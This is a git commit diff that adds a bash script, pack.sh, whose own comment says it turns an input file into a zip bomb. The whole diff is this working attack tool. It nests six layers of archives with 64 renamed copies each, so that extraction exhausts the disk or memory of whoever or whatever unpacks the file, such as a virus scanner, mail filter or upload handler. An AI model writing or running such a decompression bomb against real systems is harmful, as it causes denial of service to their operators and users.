add pack.sh
This commit is contained in:
parent
64fd020216
commit
a21710dd3c
|
@ -0,0 +1,39 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# This sctipt takes a inputfile and creates a zip bomb with it
|
||||||
|
|
||||||
|
COUNTS="64"
|
||||||
|
PREFIXLIST="page chapter book shelf floor library"
|
||||||
|
|
||||||
|
#returns the fileextention of a file
|
||||||
|
function getExt {
|
||||||
|
extension="${1##*.}"
|
||||||
|
if [ "$extension" == "$1" ]; then
|
||||||
|
printf ""
|
||||||
|
else
|
||||||
|
printf ".$extension"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
function add { # $1 origfile $2 zipfile $3 inzipname
|
||||||
|
#add file to archive
|
||||||
|
zip -9 -q "$2" "$1"
|
||||||
|
#rename
|
||||||
|
printf "@ $1\n@=$3\n" | zipnote -w "$2"
|
||||||
|
}
|
||||||
|
|
||||||
|
function pack { # $1 prefix $2 count $3 outputzipfile $4inputfile
|
||||||
|
ext=$(getExt "$4")
|
||||||
|
for (( c=0; c<$2; c++ )); do
|
||||||
|
add "$4" "$3" "$1$c$ext"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
input="$1"
|
||||||
|
|
||||||
|
for pref in $PREFIXLIST; do
|
||||||
|
echo "create a $pref"
|
||||||
|
pack "$pref" "$COUNTS" "tmp2.zip" "$input"
|
||||||
|
mv "tmp2.zip" "tmp.zip"
|
||||||
|
input="tmp.zip"
|
||||||
|
done
|
Loading…
Reference in New Issue